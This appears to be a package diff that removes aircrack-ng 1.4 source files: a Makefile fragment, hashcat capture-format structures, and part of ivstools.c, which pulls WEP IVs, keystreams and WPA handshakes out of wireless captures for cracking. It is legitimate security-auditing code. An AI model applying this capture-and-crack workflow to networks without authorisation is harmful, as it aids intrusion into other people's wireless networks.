-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              -I$(top_srcdir)/src \
-              $(LIBNL_CFLAGS)
-
-EXTRA_DIST = ieee80211.h \
-             if_arp.h \
-             eapol.h \
-             ethernet.h \
-             if_llc.h \
-             hashcat.h
-
-
-@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/include/eapol.h Deleted

aircrack-ng-1.4.tar.gz/src/include/hashcat.h Deleted

@@ -1,162 +0,0 @@
-/*
- *  Hashcat structures and macros
- *
- *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifndef _HASHCAT_H_
-#define _HASHCAT_H_
-
-#include <stdint.h>
-
-// Hashcat v3.5 and lower
-typedef struct
-{
-	char essid[36];
-
-	unsigned char mac1[6];
-	unsigned char mac2[6];
-	unsigned char nonce1[32];
-	unsigned char nonce2[32];
-
-	unsigned char eapol[256];
-	int eapol_size;
-
-	int keyver;
-	unsigned char keymic[16];
-
-} hccap_t;
-
-// Docs: https://hashcat.net/wiki/doku.php?id=hccapx
-
-#define HCCAPX_SIGNATURE 0x58504348 // HCPX
-
-#define HCCAPX_CURRENT_VERSION 4
-
-// https://hashcat.net/wiki/doku.php?id=hccapx
-typedef struct hccapx
-{
-	uint32_t
-		signature; /* signature (file magic) of .hccapx files, it is always the
-					  string HCPX */
-	uint32_t version; /* version number of the .hccapx file format */
-	uint8_t message_pair; /* possible values range from 0 to 5 or 128 to 133 */
-	/* message_pair was extended with some additional information: the highest
-   * bit could be used
-   * to indicate if the message pair matching was done based on replay counter
-   * or not. Whenever
-   * the highest bit (bit 8) was set to 1 it means that the replay counter was
-   * ignored (i.e. it
-   * was not considered at all by the matching algorithm):
-   *
-   * .----------------------------------------------------------------------------------------------------------------------------.
-   * | message_pair (hex) | message_pair (dec) | Highest bit | Meaning |
-   * .----------------------------------------------------------------------------------------------------------------------------.
-   * | 0x00 to 0x05       | 0 to 5             | 0           | Message pair
-   * according to table below with replay counter matching |
-   * | 0x80 to 0x85       | 128 to 133         | 1           | Message pair
-   * according to table below, replay counter was ignored  |
-   * .----------------------------------------------------------------------------------------------------------------------------.
-   *
-   * The message_pair value describes which messages of the 4-way handshake were
-   * combined to form the
-   * .hccapx structure. It is always a pair of 2 messages: 1 from the AP (access
-   * point) and 1 from the STA (client).
-   *
-   * Furthermore, the message_pair value also gives a hint from which of the 2
-   * messages the EAPOL origins.
-   * This is interesting data, but not necessarily needed for hashcat to be able
-   * to crack the hash.
-   *
-   * On the other hand, it could be very important to know if "only" message 1
-   * and message 2 were captured
-   * or if for instance message 3 and/or message 4 were captured too. If message
-   * 3 and/or message 4 were captured
-   * it should be a hard evidence that the connection was established and that
-   * the password the client used was the
-   * correct one.
-   *
-   * The following table lists all values currently allowed for the message_pair
-   * field:
-   *
-   * .----------------------------------------------------------------------------------------------------------------------------.
-   * | message_pair value | Messages of the handshake | Source of the EAPOL | AP
-   * message | STA message | Replay counter matching  |
-   * .----------------------------------------------------------------------------------------------------------------------------.
-   * | 0                  | M1 + M2                   | M2                  | M1
-   * | M2          | Yes                      |
-   * | 1                  | M1 + M4                   | M4                  | M1
-   * | M4          | Yes                      |
-   * | 2                  | M2 + M3                   | M2                  | M3
-   * | M2          | Yes                      |
-   * | 3                  | M2 + M3                   | M3                  | M3
-   * | M2          | Yes                      |
-   * | 4                  | M3 + M4                   | M3                  | M3
-   * | M4          | Yes                      |
-   * | 5                  | M3 + M4                   | M4                  | M3
-   * | M4          | Yes                      |
-   * | 128                | M1 + M2                   | M2                  | M1
-   * | M2          | No                       |
-   * | 129                | M1 + M4                   | M4                  | M1
-   * | M4          | No                       |
-   * | 130                | M2 + M3                   | M2                  | M3
-   * | M2          | No                       |
-   * | 131                | M2 + M3                   | M3                  | M3
-   * | M2          | No                       |
-   * | 132                | M3 + M4                   | M3                  | M3
-   * | M4          | No                       |
-   * | 133                | M3 + M4                   | M4                  | M3
-   * | M4          | No                       |
-   * .----------------------------------------------------------------------------------------------------------------------------.
-   *
-   * Note: M1 means message 1 of the handshake, M2 means message 2 of the
-   * handshake, M3 means message 3 of
-   * the handshake and M4 means message 4 of the 4-way handshake
-   */
-	uint8_t essid_len; /* length of the network name (ESSID)  */
-	uint8_t essid[32]; /* ESSID */
-	uint8_t keyver; /* set to 1 if WPA is used, other values (preferably 2)
-						   means WPA2  */
-	uint8_t keymic[16]; /* the actual hash value (MD5 for WPA, SHA1 for WPA2)
-						   truncated to 128 bit (16 bytes) */
-	uint8_t mac_ap[6]; /* BSSID */
-	uint8_t
-		nonce_ap[32]; /* nonce (random salt) generated by the access point */
-	uint8_t mac_sta[6]; /* mac address of the client connecting to the access
-						   point */
-	uint8_t nonce_sta[32]; /* nonce (random salt) generated by the client
-							  connecting to the access point */
-	uint16_t eapol_len; /* length of the EAPOL */
-	uint8_t eapol[256]; /* EAPOL (max 256 bytes) */
-
-} __attribute__((packed)) hccapx_t;
-
-#endif

aircrack-ng-1.4.tar.gz/src/ivstools.c Deleted

@@ -1,999 +0,0 @@
-/*
-  *  IVS Tools - Convert or merge IVs
-  *
-  *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
-  *  Copyright (C) 2004, 2005  Christophe Devine (pcap2ivs and mergeivs)
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <time.h>
-
-#include "version.h"
-#include "crypto.h"
-#include "pcap.h"
-#include "uniqueiv.h"
-#include "aircrack-osdep/byteorder.h"
-#include "aircrack-util/common.h"
-#include "eapol.h"
-
-#include "aircrack-util/console.h"
-
-#define FAILURE -1
-#define IVS 1
-#define WPA 2
-#define ESSID 3
-
-/* linked list of detected access points */
-
-struct AP_info
-{
-	struct AP_info * prev; /* prev. AP in list         */
-	struct AP_info * next; /* next  AP in list         */
-
-	int ssid_length; /* length of ssid           */
-
-	unsigned char bssid[6]; /* the access point's MAC   */
-	unsigned char essid[256]; /* ascii network identifier */
-
-	unsigned char ** uiv_root; /* unique iv root structure */
-	/* if wep-encrypted network */
-
-	int wpa_stored; /* wpa stored in ivs file?   */
-	int essid_stored; /* essid stored in ivs file? */
-};
-
-/* linked list of detected clients */
-
-struct ST_info
-{
-	struct ST_info * prev; /* the prev client in list   */
-	struct ST_info * next; /* the next client in list   */
-	struct AP_info * base; /* AP this client belongs to */
-	unsigned char stmac[6]; /* the client's MAC address  */
-	struct WPA_hdsk wpa; /* WPA handshake data        */
-};
-
-/* bunch of global stuff */
-
-struct globals
-{
-	struct AP_info *ap_1st, *ap_end;
-	struct ST_info *st_1st, *st_end;
-
-	unsigned char prev_bssid[6];
-	FILE * f_ivs; /* output ivs file      */
-} G;
-
-static void usage(int what)
-{
-	char * version_info
-		= getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
-		   "  https://www.aircrack-ng.org\n"
-		   "\n   usage: ",
-		   version_info);
-	free(version_info);
-	if (what == 0 || what == 1)
-		printf("ivstools --convert <pcap file> <ivs output file>\n"
-			   "        Extract ivs from a pcap file\n");
-	if (what == 0) printf("       ");
-	if (what == 0 || what == 2)
-		printf("ivstools --merge <ivs file 1> <ivs file 2> .. <output file>\n"
-			   "        Merge ivs files\n");
-}
-
-static int merge(int argc, char * argv[])
-{
-	int i, n, unused;
-	unsigned long nbw;
-	unsigned char buffer[1024];
-	FILE *f_in, *f_out;
-	struct ivs2_filehdr fivs2;
-
-	if (argc < 5)
-	{
-		usage(2);
-		return (1);
-	}
-
-	// Check filenames are not empty
-	for (i = 2; i < argc - 1; ++i)
-	{
-		if (argv[i][0] == 0)
-		{
-			printf("Filename #%d is empty, aborting\n", i - 1);
-			return (1);
-		}
-	}
-
-	printf("Creating %s\n", argv[argc - 1]);
-
-	if ((f_out = fopen(argv[argc - 1], "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		return (1);
-	}
-
-	nbw = 0;
-
-	for (i = 2; i < argc - 1; ++i)
-	{
-		printf("Opening %s\n", argv[i]);
-
-		if ((f_in = fopen(argv[i], "rb")) == NULL)
-		{
-			fclose(f_out);
-			perror("fopen failed");
-			return (1);
-		}
-
-		if (fread(buffer, 1, 4, f_in) != 4)
-		{
-			fclose(f_out);
-			fclose(f_in);
-			perror("fread file header failed");
-			return (1);
-		}
-
-		if (memcmp(buffer, IVSONLY_MAGIC, 4) == 0)
-		{
-			fclose(f_out);
-			fclose(f_in);
-			printf("%s is an old .ivs file\n", argv[i]);
-			return (1);
-		}
-
-		if (memcmp(buffer, IVS2_MAGIC, 4) != 0)
-		{
-			fclose(f_out);
-			fclose(f_in);
-			printf("%s is not an .%s file\n", argv[i], IVS2_EXTENSION);
-			return (1);
-		}
-
-		if (fread(&fivs2, 1, sizeof(struct ivs2_filehdr), f_in)
-			!= (size_t) sizeof(struct ivs2_filehdr))
-		{
-			fclose(f_out);
-			fclose(f_in);
-			perror("fread file header failed");
-			return (1);
-		}
-
-		if (fivs2.version > IVS2_VERSION)
-		{
-			fclose(f_out);
-			fclose(f_in);
-			printf("Error, wrong %s version: %d. Supported up to version %d.\n",
-				   IVS2_EXTENSION,
-				   fivs2.version,
-				   IVS2_VERSION);
-			return (1);
-		}
-
-		if (i == 2)
-		{
-			unused = fwrite(buffer, 1, 4, f_out);
-			unused = fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), f_out);
-		}
-
-		while ((n = fread(buffer, 1, 1024, f_in)) > 0)
-		{
-			nbw += n;
-			unused = fwrite(buffer, 1, n, f_out);
-			printf("%lu bytes written\r", nbw);
-		}
-
-		fclose(f_in);
-
-		printf("\n");
-	}
-
-	fclose(f_out);
-
-	return (0);
-}
-
-static int dump_add_packet(unsigned char * h80211, unsigned caplen)
-{
-	int i, n, seq, dlen, clen;
-	unsigned z;
-	struct ivs2_pkthdr ivs2;
-	unsigned char * p;
-	unsigned char bssid[6];
-	unsigned char stmac[6];
-	unsigned char clear[2048];
-	int weight[16];
-	int num_xor, o;
-
-	struct AP_info * ap_cur = NULL;
-	struct ST_info * st_cur = NULL;
-	struct AP_info * ap_prv = NULL;
-	struct ST_info * st_prv = NULL;
-
-	/* skip packets smaller than a 802.11 header */
-
-	if (caplen < 24) return FAILURE;
-
-	/* skip (uninteresting) control frames */
-
-	if ((h80211[0] & 0x0C) == 0x04) return FAILURE;
-
-	/* grab the sequence number */
-	seq = ((h80211[22] >> 4) + (h80211[23] << 4));
-
-	/* locate the access point's MAC address */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, h80211 + 16, 6);
-			break;
-		case 1:
-			memcpy(bssid, h80211 + 4, 6);
-			break;
-		case 2:
-			memcpy(bssid, h80211 + 10, 6);
-			break;
-		default:
-			memcpy(bssid, h80211 + 10, 6);
-			break;
-	}
-
-	/* update our chained list of access points */
-
-	ap_cur = G.ap_1st;
-	ap_prv = NULL;
-
-	while (ap_cur != NULL)
-	{
-		if (!memcmp(ap_cur->bssid, bssid, 6)) break;
-
-		ap_prv = ap_cur;
-		ap_cur = ap_cur->next;
-	}
-
-	/* if it's a new access point, add it */
-
-	if (ap_cur == NULL)
-	{
-		if (!(ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
-		{
-			perror("malloc failed");
-			return FAILURE;
-		}
-
-		memset(ap_cur, 0, sizeof(struct AP_info));
-
-		if (G.ap_1st == NULL)
-			G.ap_1st = ap_cur;
-		else
-			ap_prv->next = ap_cur;
-
-		memcpy(ap_cur->bssid, bssid, 6);
-
-		ap_cur->prev = ap_prv;
-
-		ap_cur->uiv_root = uniqueiv_init();
-
-		G.ap_end = ap_cur;
-
-		ap_cur->ssid_length = 0;
-		ap_cur->wpa_stored = 0;
-		ap_cur->essid_stored = 0;
-	}
-
-	/* find wpa handshake */
-	if (h80211[0] == 0x10)
-	{
-		/* reset the WPA handshake state */
-
-		if (st_cur != NULL && st_cur->wpa.state != 0xFF) st_cur->wpa.state = 0;
-		//        printf("initial auth %d\n", ap_cur->wpa_state);
-	}
-
-	/* locate the station MAC in the 802.11 header */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-
-			/* if management, check that SA != BSSID */
-
-			if (memcmp(h80211 + 10, bssid, 6) == 0) goto skip_station;
-
-			memcpy(stmac, h80211 + 10, 6);
-			break;
-
-		case 1:
-
-			/* ToDS packet, must come from a client */
-
-			memcpy(stmac, h80211 + 10, 6);
-			break;
-
-		case 2:
-
-			/* FromDS packet, reject broadcast MACs */
-
-			if (h80211[4] != 0) goto skip_station;
-			memcpy(stmac, h80211 + 4, 6);
-			break;
-
-		default:
-			goto skip_station;
-	}
-
-	/* update our chained list of wireless stations */
-
-	st_cur = G.st_1st;
-	st_prv = NULL;
-
-	while (st_cur != NULL)
-	{
-		if (!memcmp(st_cur->stmac, stmac, 6)) break;
-
-		st_prv = st_cur;
-		st_cur = st_cur->next;
-	}
-
-	/* if it's a new client, add it */
-
-	if (st_cur == NULL)
-	{
-		if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
-		{
-			perror("malloc failed");
-			return FAILURE;
-		}
-
-		memset(st_cur, 0, sizeof(struct ST_info));
-
-		if (G.st_1st == NULL)
-			G.st_1st = st_cur;
-		else
-			st_prv->next = st_cur;
-
-		memcpy(st_cur->stmac, stmac, 6);
-
-		st_cur->prev = st_prv;
-
-		G.st_end = st_cur;
-	}
-
-	if (st_cur->base == NULL || memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
-		st_cur->base = ap_cur;
-
-skip_station:
-
-	/* packet parsing: Beacon or Probe Response */
-
-	if (h80211[0] == 0x80 || h80211[0] == 0x50)
-	{
-		p = h80211 + 36;
-
-		while (p < h80211 + caplen)
-		{
-			if (p + 2 + p[1] > h80211 + caplen) break;
-
-			if (p[0] == 0x00) ap_cur->ssid_length = p[1];
-
-			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
-				&& (p[1] > 1 || p[2] != ' '))
-			{
-				/* found a non-cloaked ESSID */
-
-				//                n = ( p[1] > 32 ) ? 32 : p[1];
-				n = p[1];
-
-				memset(ap_cur->essid, 0, 256);
-				memcpy(ap_cur->essid, p + 2, n);
-
-				if (G.f_ivs != NULL && !ap_cur->essid_stored)
-				{
-					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-					ivs2.flags |= IVS2_ESSID;
-					ivs2.len += ap_cur->ssid_length;
-
-					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
-					{
-						ivs2.flags |= IVS2_BSSID;
-						ivs2.len += 6;
-						memcpy(G.prev_bssid, ap_cur->bssid, 6);
-					}
-
-					/* write header */
-					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
-						!= (size_t) sizeof(struct ivs2_pkthdr))
-					{
-						perror("fwrite(IV header) failed");
-						return (1);
-					}
-
-					/* write BSSID */
-					if (ivs2.flags & IVS2_BSSID)
-					{
-						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
-						{
-							perror("fwrite(IV bssid) failed");
-							return (1);
-						}
-					}
-
-					/* write essid */
-					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
-						!= (size_t) ap_cur->ssid_length)
-					{
-						perror("fwrite(IV essid) failed");
-						return (1);
-					}
-
-					ap_cur->essid_stored = 1;
-					return ESSID;
-				}
-
-				for (i = 0; i < n; i++)
-					if ((ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32)
-						|| (ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160))
-						ap_cur->essid[i] = '.';
-			}
-
-			p += 2 + p[1];
-		}
-	}
-
-	/* packet parsing: Association Request */
-
-	if (h80211[0] == 0x00 && caplen > 28)
-	{
-		p = h80211 + 28;
-
-		while (p < h80211 + caplen)
-		{
-			if (p + 2 + p[1] > h80211 + caplen) break;
-
-			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
-				&& (p[1] > 1 || p[2] != ' '))
-			{
-				/* found a non-cloaked ESSID */
-
-				n = (p[1] > 32) ? 32 : p[1];
-
-				memset(ap_cur->essid, 0, 33);
-				memcpy(ap_cur->essid, p + 2, n);
-
-				if (G.f_ivs != NULL && !ap_cur->essid_stored)
-				{
-					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-					ivs2.flags |= IVS2_ESSID;
-					ivs2.len += ap_cur->ssid_length;
-
-					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
-					{
-						ivs2.flags |= IVS2_BSSID;
-						ivs2.len += 6;
-						memcpy(G.prev_bssid, ap_cur->bssid, 6);
-					}
-
-					/* write header */
-					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
-						!= (size_t) sizeof(struct ivs2_pkthdr))
-					{
-						perror("fwrite(IV header) failed");
-						return (1);
-					}
-
-					/* write BSSID */
-					if (ivs2.flags & IVS2_BSSID)
-					{
-						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
-						{
-							perror("fwrite(IV bssid) failed");
-							return (1);
-						}
-					}
-
-					/* write essid */
-					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
-						!= (size_t) ap_cur->ssid_length)
-					{
-						perror("fwrite(IV essid) failed");
-						return (1);
-					}
-
-					ap_cur->essid_stored = 1;
-					return ESSID;
-				}
-
-				for (i = 0; i < n; i++)
-					if (ap_cur->essid[i] < 32
-						|| (ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160))
-						ap_cur->essid[i] = '.';
-			}
-
-			p += 2 + p[1];
-		}
-	}
-
-	/* packet parsing: some data */
-
-	if ((h80211[0] & 0x0C) == 0x08)
-	{
-		/* check the SNAP header to see if data is encrypted */
-
-		z = ((h80211[1] & 3) != 3) ? 24 : 30;
-
-		if (z + 26 > caplen) return FAILURE;
-
-		if (z + 10 > caplen) return FAILURE;
-
-		// check if WEP bit set and extended iv
-		if ((h80211[1] & 0x40) != 0 && (h80211[z + 3] & 0x20) == 0)
-		{
-			/* WEP: check if we've already seen this IV */
-
-			if (!uniqueiv_check(ap_cur->uiv_root, &h80211[z]))
-			{
-				/* first time seen IVs */
-
-				if (G.f_ivs != NULL)
-				{
-					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-					ivs2.flags = 0;
-					ivs2.len = 0;
-
-					dlen = caplen - 24 - 4 - 4; // original data len
-					if (dlen > 2048) dlen = 2048;
-					// get cleartext + len + 4(iv+idx)
-					num_xor = known_clear(clear, &clen, weight, h80211, dlen);
-					if (num_xor == 1)
-					{
-						ivs2.flags |= IVS2_XOR;
-						ivs2.len += clen + 4;
-						/* reveal keystream (plain^encrypted) */
-						for (n = 0; n < (ivs2.len - 4); n++)
-						{
-							clear[n] = (clear[n] ^ h80211[z + 4 + n]) & 0xFF;
-						}
-						// clear is now the keystream
-					}
-					else
-					{
-						// do it again to get it 2 bytes higher
-						num_xor = known_clear(
-							clear + 2, &clen, weight, h80211, dlen);
-						ivs2.flags |= IVS2_PTW;
-						// len = 4(iv+idx) + 1(num of keystreams) + 1(len per
-						// keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
-						ivs2.len += 4 + 1 + 1 + 32 * num_xor + 16 * sizeof(int);
-						clear[0] = num_xor;
-						clear[1] = clen;
-						/* reveal keystream (plain^encrypted) */
-						for (o = 0; o < num_xor; o++)
-						{
-							for (n = 0; n < (ivs2.len - 4); n++)
-							{
-								clear[2 + n + o * 32] = (clear[2 + n + o * 32]
-														 ^ h80211[z + 4 + n])
-														& 0xFF;
-							}
-						}
-						memcpy(clear + 4 + 1 + 1 + 32 * num_xor,
-							   weight,
-							   16 * sizeof(int));
-						// clear is now the keystream
-					}
-
-					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
-					{
-						ivs2.flags |= IVS2_BSSID;
-						ivs2.len += 6;
-						memcpy(G.prev_bssid, ap_cur->bssid, 6);
-					}
-
-					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
-						!= (size_t) sizeof(struct ivs2_pkthdr))
-					{
-						perror("fwrite(IV header) failed");
-						return (1);
-					}
-
-					if (ivs2.flags & IVS2_BSSID)
-					{
-						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
-						{
-							perror("fwrite(IV bssid) failed");
-							return (1);
-						}
-						ivs2.len -= 6;
-					}
-
-					if (fwrite(h80211 + z, 1, 4, G.f_ivs) != (size_t) 4)
-					{
-						perror("fwrite(IV iv+idx) failed");
-						return (1);
-					}
-					ivs2.len -= 4;
-
-					if (fwrite(clear, 1, ivs2.len, G.f_ivs)
-						!= (size_t) ivs2.len)
-					{
-						perror("fwrite(IV keystream) failed");
-						return (1);
-					}
-				}
-
-				uniqueiv_mark(ap_cur->uiv_root, &h80211[z]);
-				return IVS;
-			}
-		}
-
-		z = ((h80211[1] & 3) != 3) ? 24 : 30;
-
-		if (z + 26 > caplen) return FAILURE;
-
-		z += 6; // skip LLC header
-
-		/* check ethertype == EAPOL */
-		if (h80211[z] == 0x88 && h80211[z + 1] == 0x8E
-			&& (h80211[1] & 0x40) != 0x40)
-		{
-			z += 2; // skip ethertype
-
-			if (st_cur == NULL) return FAILURE;
-
-			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
-				&& (h80211[z + 6] & 0x80) != 0
-				&& (h80211[z + 5] & 0x01) == 0)
-			{
-				memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
-				st_cur->wpa.state = 1;
-			}
-
-			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-			if (z + 17 + 32 > caplen) return FAILURE;
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
-				&& (h80211[z + 6] & 0x80) == 0
-				&& (h80211[z + 5] & 0x01) != 0)
-			{
-				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
-				{
-					memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
-					st_cur->wpa.state |= 2;
-				}
-			}
-
-			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
-				&& (h80211[z + 6] & 0x80) != 0
-				&& (h80211[z + 5] & 0x01) != 0)
-			{
-				st_cur->wpa.eapol_size
-					= (h80211[z + 2] << 8) + h80211[z + 3] + 4;
-
-				if (st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol_size)
-					|| caplen - z < st_cur->wpa.eapol_size)
-				{
-					// ignore packet trying to crash us
-					st_cur->wpa.eapol_size = 0;
-					return 0;
-				}
-
-				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
-				{
-					memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
-					st_cur->wpa.state |= 4;
-				}
-
-				memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
-				memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
-				memset(st_cur->wpa.eapol + 81, 0, 16);
-				st_cur->wpa.state |= 8;
-				st_cur->wpa.keyver = h80211[z + 6] & 7;
-
-				if (st_cur->wpa.state == 15)
-				{
-					memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
-
-					if (G.f_ivs != NULL)
-					{
-						memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-						ivs2.flags = 0;
-						ivs2.len = 0;
-
-						ivs2.len = sizeof(struct WPA_hdsk);
-						ivs2.flags |= IVS2_WPA;
-
-						if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
-						{
-							ivs2.flags |= IVS2_BSSID;
-							ivs2.len += 6;
-							memcpy(G.prev_bssid, ap_cur->bssid, 6);
-						}
-
-						if (fwrite(
-								&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
-							!= (size_t) sizeof(struct ivs2_pkthdr))
-						{
-							perror("fwrite(IV header) failed");
-							return (1);
-						}
-
-						if (ivs2.flags & IVS2_BSSID)
-						{
-							if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs)
-								!= (size_t) 6)
-							{
-								perror("fwrite(IV bssid) failed");
-								return (1);
-							}
-							ivs2.len -= 6;
-						}
-
-						if (fwrite(&(st_cur->wpa),
-								   1,
-								   sizeof(struct WPA_hdsk),
-								   G.f_ivs)
-							!= (size_t) sizeof(struct WPA_hdsk))
-						{
-							perror("fwrite(IV wpa_hdsk) failed");
-							return (1);
-						}
-						return WPA;
-					}
-				}
-			}
-		}
-	}
-
-	return (0);
-}
-
-int main(int argc, char * argv[])
-{
-	time_t tt;
-	int n, unused, ret;
-	FILE * f_in;
-	unsigned long nbr;
-	unsigned long nbivs;
-	unsigned char * h80211;
-	unsigned char bssid_cur[6];
-	unsigned char bssid_prv[6];
-	unsigned char buffer[65536];
-	struct pcap_file_header pfh;
-	struct pcap_pkthdr pkh;
-	struct ivs2_filehdr fivs2;
-
-	if (argc < 4)
-	{
-		usage(0);
-		return (1);
-	}
-
-	if (strcmp(argv[1], "--merge") == 0)
-	{
-		return merge(argc, argv);
-	}
-	if (strcmp(argv[1], "--convert"))
-	{
-		usage(1);
-		return (1);
-	}
-
-	// Check filenames are not empty
-	if (argv[2][0] == 0)
-	{
-		printf("Invalid pcap file\n");
-		return (1);
-	}
-
-	if (argv[3][0] == 0)
-	{
-		printf("Invalid output file\n");
-		return (1);
-	}
-
-	memset(bssid_cur, 0, 6);
-	memset(bssid_prv, 0, 6);
-
-	/* check the input pcap file */
-
-	printf("Opening %s\n", argv[2]);
-
-	if ((f_in = fopen(argv[2], "rb")) == NULL)
-	{
-		perror("fopen failed");
-		return (1);
-	}
-
-	n = sizeof(pfh);
-
-	if (fread(&pfh, 1, n, f_in) != (size_t) n)
-	{
-		perror("fread(pcap file header) failed");
-		fclose(f_in);
-		return (1);
-	}
-
-	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
-	{
-		printf("\"%s\" isn't a pcap file (expected "
-			   "TCPDUMP_MAGIC).\n",
-			   argv[2]);
-		fclose(f_in);
-		return (1);
-	}
-
-	if (pfh.magic == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
-
-	if (pfh.linktype != LINKTYPE_IEEE802_11
-		&& pfh.linktype != LINKTYPE_PRISM_HEADER
-		&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
-		&& pfh.linktype != LINKTYPE_PPI_HDR)
-	{
-		printf("\"%s\" isn't a regular 802.11 "
-			   "(wireless) capture.\n",
-			   argv[2]);
-		fclose(f_in);
-		return (1);
-	}
-
-	/* create the output ivs file */
-
-	printf("Creating %s\n", argv[3]);
-
-	if ((G.f_ivs = fopen(argv[3], "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		fclose(f_in);
-		return (1);
-	}
-
